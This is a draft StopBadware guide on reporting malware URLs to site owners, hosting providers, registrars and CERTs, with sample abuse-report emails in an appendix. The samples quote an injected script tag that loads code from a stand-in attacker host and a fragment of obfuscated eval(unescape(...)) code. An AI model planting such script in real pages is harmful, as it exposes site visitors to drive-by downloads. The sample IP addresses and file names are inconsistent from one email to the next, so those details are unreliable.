



StopBadware Best Practices for Reporting Badware URLs

Background

Badware in its various forms—viruses, spyware, scareware, and so on—is a core component of cybercrime and frequently plays a role in cyberespionage and cyberwarfare, as well. Badware attacks on the Internet’s user base threaten to undermine the trust necessary for the network to continue thriving as a platform for commerce, social networking, free expression, and its myriad other uses.

To achieve their illicit ends, malicious parties have increasingly made use of the Web as a platform for distributing and controlling badware. Because it is quick, easy, and inexpensive to create and disseminate new badware—and the URLs that point users to it—the ecosystem faces a challenge of keeping up in its efforts to remove badware as it is discovered.

One step towards addressing this challenge is to improve the communications between parties that detect badware URLs and those best positioned to remove or clean up the badware. Today, there is no clear guidance on who should be notified of a badware URL, what information should be included in that notification, or how to escalate the issue if the badware continues to pose a threat. Absent this guidance, some parties choose not to report badware at all, while others develop their own approaches to reporting. This duplicates effort and makes it more difficult for web hosting providers, individual site owners, and other recipients of badware reports to prioritize and act upon the information they receive.

Purpose and Scope

This document is designed to establish best practices for reporting badware URLs to the parties best equipped to stop those URLs from perpetuating badware. It also recommends a process for escalating reports in cases where the initial report fails to produce the desired result. The practices are designed to maximize the utility of reports to the recipients, while providing both guidance and flexibility for the reporters.

The practices do not imply an obligation on any party to report a newly discovered badware URL. While an increase in reporting is essential to stemming the proliferation of badware on the Web, StopBadware recognizes that reporting may create a burden on organizations or individuals and, in some cases, may be counterproductive (e.g., when trying to investigate a botnet without being

detected). Instead, the practices are written to minimize barriers for those parties that voluntarily make the commitment to report badware URLs.

The practices are explicitly intended for use both as a step-by-step guide for individual reporters and as a blueprint for developing automated reporting systems.

A complement to this document, StopBadware's *Best Practices for Web Hosting Providers: Responding to Malware Reports*, can be found at <http://www.stopbadware.org/home/webhost>.

Definitions

Badware: Software that fundamentally disregards users' choices about how their computers or network connections are used

Badware URL: A URL referencing a resource that facilitates—or attempts to facilitate—the distribution or operation of badware, regardless of the awareness or intent of the URL owner

Report: A communication describing a badware URL or a set of closely related badware URLs

Reporter: An individual or organization initiating a report

Target: An individual or organization to whom a report is communicated

Hosting provider: An entity that manages or controls infrastructure used to host websites or web applications for third parties. (A more extensive definition may be found in StopBadware's *Best Practices for Hosting Providers: Responding to Malware Reports*.)

URL owner: An individual or organization that is directly responsible for managing the content or functionality of a resource referenced by a URL, by virtue of having leased or otherwise been granted access by a hosting provider

Best Practices

1. Determine report targets.

It is important to select report targets that maximize the likelihood of the badware URL being neutralized, while respecting the time and preferences of potential report recipients.

In general, when reporting a badware URL, target initial reports to the URL owner and the hosting provider. The URL owner, by definition, has the primary responsibility for content or behavior associated with the URL. The hosting provider typically will have a direct contractual relationship with the URL owner and may have technical expertise or system access not available to the URL owner. For more information about the role of the hosting provider, see StopBadware's *Best Practices for Web Hosting Providers: Responding to Malware Reports*.

There are times when the general rule does not produce the best results. The following special cases should be followed when applicable:

1. If you have determined that the domain name of the URL is used primarily or exclusively for malicious ends (e.g., a C&C server or a distribution point for fake AV), target the initial reports to the hosting provider and the domain name registrar.
2. If you have evidence that the hosting provider is “bulletproof” or otherwise routinely fails to take action against badware URLs, target the initial reports to the URL owner (if case 1 above does not apply) and the domain name registrar.
3. If the badware URL references a malvertisement, target the initial reports to the ad network and the owner(s) of the URL(s) on which you detected or observed the malicious ad.
4. If the domain name of the badware URL uses “fast flux” DNS or resolves to IP addresses hosted by multiple providers, target the initial reports to as many affected (non-bulletproof) hosting providers as possible and the registrar.
5. If the badware URL references content that drives users to badware via search engine optimization (SEO), target the initial reports to the URL owner, the hosting provider, and the search engine(s) on which you observed or detected the SEO content.

2. Find contact information.

In some cases, the reporter may possess verified contact information for a target. In many instances, however, the reporter will have to seek out this information. Reporters should strive to respect contact preferences expressed by targets and to use the most current and specific contact information that can be efficiently located. While email is the most common form of contact for abuse reports, reports may also be delivered by phone, web forms, APIs, or other communication channels.

For URL owners, web content at the URL (or the URL’s domain name) may contain published contact information. When using automated tools, or if no contact information is published, a reasonable contact point is the abuse contact published in the WHOIS record for the domain name. The reporter may also wish to include standard (though not always used) email addresses, such as `webmaster@domain` and `abuse@domain`.

For hosting providers, use the abuse or technical contact published in the WHOIS record for the IP address range containing the address to which the badware URL resolves. If this information is not available, `abuse@hostingprovider` is a standard contact address used by many (but not all) providers.

3. Gather key data.

A report should, at *minimum*, include:

- The badware URL

- The date and time at which the badware URL was last detected/observed
- A brief description of the nature of badware detected/observed
- A list of targets to which you are reporting the badware URL (see practice 1)
- Contact information that the targets can use to follow up with the reporter

A single report may include multiple badware URLs if the badware description and supporting details are the same for the entire set of URLs. Otherwise, separate reports should be sent.

Reporters should also provide enough additional data to assist targets in identifying or verifying the badware behavior. Specific types of data that may prove helpful include:

- Specific conditions necessary to reproduce the observed/detected behavior (e.g., some drive-by downloads only occur if a HTTP request includes a specific referrer header)
- The scope of the reported behavior (e.g., if you report example.com, are you reporting a problem with the home page http://example.com or with the entire domain example.com?)
- A network capture, log, and/or screenshots showing the detected/observed behavior or content (if sending any files that are potentially harmful, be sure to take appropriate precautions, such as encrypting archived files with a password)
- Data or observations that place the detected/observed behavior in a larger context (e.g., “we have seen thousands of websites using this same javascript code to deliver drive-by downloads”)
- Specific malicious code detected within a web page referenced by the badware URL
- Additional information about specific executables identified as badware (e.g., hash, VirusTotal report link)
- Other related URLs, such as those in a redirect chain starting with, including, or ending with the reported URL
- Specific end user applications or operating systems exploited by the badware associated with the reported URL
- The IP address to which the URL resolved when it was evaluated by the reporter

Some reporters may wish to deliver their reports anonymously. Even in these cases, however, it is important to include some form of contact information. The targets can use this information to acknowledge receipt of the report, gauge the report’s credibility, ask questions, or follow up after the issue has been addressed.

4. Deliver the report.

Reports should be delivered to all of the initial targets in a timely fashion, ideally as soon as the necessary information is collected. Reporters should keep a record of the date, time, URL, and

targets of each report, as this information will be helpful for escalation (see below), for tracking effectiveness of the reports, and for identifying patterns in both the badware itself and the responsiveness of specific targets.

5. Escalate if necessary.

When, in the judgment of the reporter, the initial report has been ineffective in soliciting a satisfactory response from the target(s) within a reasonable time, the reporter may wish to escalate the report. Escalation may also be used to report patterns of badware that are broader than the scope of a single target.

The “reasonable time” for a response will depend upon a number of factors, including the nature of the threat; the difficulty of verifying, mitigating, or remediating the badware; and the contractual obligations under which a provider is operating. As a general guideline, StopBadware’s *Best Practices for Web Hosting Providers* specify that providers should acknowledge a report within one business day of receipt, evaluate the report within two business days of receipt, and take appropriate action in a timely manner. In cases of live malicious URLs that are threatening large numbers of users, or in cases where working contact information cannot be found for the primary targets, reporters may wish to escalate their reports more quickly.

To escalate, the reporter should send a report to one or more of the following entities:

- Upstream hosting provider, if applicable
- Domain registrar
- Domain registry
- CERT/CSIRT with relevant jurisdiction
- Law enforcement or regulators with relevant jurisdiction

Typically, escalation would start from the top of this list and move further down the list as needed. In some cases, it may be appropriate to skip over one or more parties in the list. For example, if a national CERT in a particular country specializes in assisting with domain takedowns, a reporter might escalate a report of a malicious domain that has gone unaddressed by the registrar directly to that CERT.

When escalating a report, the reporter should include all of the information from the original report, as well as a reason for escalation, a list of targets to which the report was previously delivered, and the date and time at which the report was delivered to those targets.

Conclusion

Effective communication between those who detect or observe badware and those equipped to address it is key to reducing the threat that badware poses to Internet users and to users’ trust in the Internet itself. By following these practices, badware reporters maximize the value of their efforts

and increase the likelihood that action will be taken quickly. Over time, accurate tracking of these reports—and their outcomes—will also help the ecosystem to better evaluate the responsiveness of hosting providers, registrars, and other key players in addressing these threats. Coupled with other efforts to prevent and react to malicious activity on the Web, adherence to these guidelines will help advance the common goal of protecting the integrity of the Internet for all its users.

Appendix: Sample Reporting

Note: All of the URLs, IP addresses, ASes, and company names in this example are fictitious.

Suppose we have observed that **http://compromised.example.com/** contains an injected script that redirects site visitors to **http://malicious.example.com/evilscrip.js**. This JavaScript delivers a drive-by download. It would be valuable to report both these URLs, in the hope that the first would get cleaned up and the second taken down.

Let's start with **compromised.example.com**. The report targets should be the site owner and the hosting provider, as none of the special conditions from Practice 1 apply.

A whois lookup of the domain shows a technical contact of John Doe, webmaster@example.com. The domain name resolves to 10.1.2.3, and a whois lookup of that address turns up the hosting provider SAMPLEHOST with abuse contact abuse@samplehost.example.

After collecting the relevant data, we can send the following reports:

```
Subject: Badware URL notification - compromised.example .com
To: webmaster@example.com

hxxp://compromised.example .com/ appears to be a badware URL. This means it may be
placing Internet users at risk. Please investigate and take appropriate action.

Badware description: JavaScript loads a malicious exploit script from another domain.

Date/time of detection: 15 July 2011 at 1048 EDT

You are receiving this report because this was listed as the technical contact email
in the WHOIS record for example .com. If you believe you have received this report in
error, please contact us at this address: reporter@organization.example.

Note: Potential badware URLs in this email have been modified by replacing http with
hxxp and by adding a space before the last dot (.) to reduce the risk of accidentally
clicking the URLs.

=====
ADDITIONAL INFORMATION
=====

IP address at time of detection: 10.1.2.3

Additional parties notified: SAMPLEHOSTING (Hosting provider)

Detailed badware description:

URL accessed: hxxp://compromised.example .com/
```

Bad Code: <script src="http://malicious.example/evilscript .js">
Behavior: Delivers malicious PDF and Flash files
Special conditions: Only redirects when referrer string is set to google.com or another popular search engine.

Tips for cleaning & securing a compromised website:
<http://www.stopbadware.org/home/security>

Contact us about this badware URL report: reporter@organization.example

Subject: Badware URL notification - compromised.example .com
To: abuse@samplehost.example

hxxp://compromised.example .com/ appears to be a badware URL. This means it may be placing Internet users at risk. Please investigate and take appropriate action.

Badware description: JavaScript loads a malicious exploit script from another domain.

Date/time of detection: 15 July 2011 at 1048 EDT

You are receiving this report because this was listed as the hosting provider contact in the WHOIS record for 10.1.2.3. If you believe you have received this report in error, please contact us at this address: reporter@organization.example.

Note: Potential badware URLs in this email have been modified by replacing http with hxxp and by adding a space before the last dot (.) to reduce the risk of accidentally clicking the URLs.

=====
ADDITIONAL INFORMATION
=====

IP address at time of detection: 10.1.2.3

Additional parties notified: Technical contact for example .com

Detailed badware description:

URL accessed: hxxp://compromised.example .com/
Bad Code: <script src="http://malicious.example/evilscript .js">
Behavior: Delivers malicious PDF and Flash files
Special conditions: Only redirects when referrer string is set to google.com or another popular search engine.

Best practices for web hosting providers receiving reports like this:
<http://www.stopbadware.org/best-practices/web-hosting-providers>

Contact us about this badware URL report: reporter@organization.example

For malicious.example, Practice 1 indicates we should notify the web hosting provider and the domain registrar, as the site appears to exist purely for malicious purposes (special case #1). The domain name resolves to 192.168.10.20. A whois lookup of that address shows the hosting provider as WEHATEABUSE, with abuse contact abuse@wehateabuse.example. A whois lookup of the domain name shows that the registrar is Friendly Registrar, Inc. A search for **friendly registrar abuse** finds the email address abuse@friendlyreg.example. Armed with this information, the following reports are sent:

Subject: Badware URL notification - malicious.example
To: abuse@wehateabuse.example

hxxp://malicious.example/evilscrip .js appears to be a badware URL. This means it may be placing Internet users at risk. Please investigate and take appropriate action.

Badware description: Delivers malicious PDF and Flash files.

Date/time of detection: 15 July 2011 at 1048 EDT

You are receiving this report because this was listed as the hosting provider contact in the WHOIS record for 192.10.20.30. If you believe you have received this report in error, please contact us at this address: reporter@organization.example.

Note: Potential badware URLs in this email have been modified by replacing http with hxxp and by adding a space before the last dot (.) to reduce the risk of accidentally clicking the URLs.

=====
ADDITIONAL INFORMATION
=====

IP address at time of detection: 192.10.20.30

Additional parties notified: Friendly Registrar, Inc. (domain registrar)

Detailed badware description:

URL accessed: hxxp://malicious.example /evilscrip .js
Bad Code: [obfuscated]
Behavior: Delivers malicious PDF and Flash files
Special conditions: Only delivers files when referred by a compromised site, such as hxxp://compromised.example .com.

Best practices for web hosting providers receiving reports like this:
<http://www.stopbadware.org/best-practices/web-hosting-providers>

Contact us about this badware URL report: reporter@organization.example

And, for the registrar:

Subject: Badware URL notification - malicious .example
To: abuse@friendlyreg.example

hxxp://malicious.example/evilscrip .js appears to be a badware URL. This means it may be placing Internet users at risk. Please investigate and take appropriate action.

Badware description: Delivers malicious PDF and Flash files.

Date/time of detection: 15 July 2011 at 1048 EDT

You are receiving this report because Friendly Registrar, Inc., is listed as the domain registrar in the whois record for malicious .example, and this is listed as the abuse contact for Friendly Registrar, Inc., at <http://www.friendlyregistrar.com/contact.html>. If you believe you have received this report in error, please contact us at this address: reporter@organization.example.

Note: Potential badware URLs in this email have been modified by replacing http with hxxp and by adding a space before the last dot (.) to reduce the risk of accidentally clicking the URLs.

=====
ADDITIONAL INFORMATION
=====

IP address at time of detection: 192.10.20.30

Additional parties notified: WEHATEABUSE (web hosting provider)

Detailed badware description:

URL accessed: hxxp://malicious.example/evilscrip t.js
Bad Code: <script>eval(unescape(`function%20ppEwEu%28yJVD... [truncated]
Behavior: Delivers malicious PDF and Flash files
Special conditions: Only delivers files when referred by a compromised site, such as hxxp://compromised.example .com.
Other information: Registrant contact information appears to be fake.

Contact us about this badware URL report: reporter@organization.example

DRAFT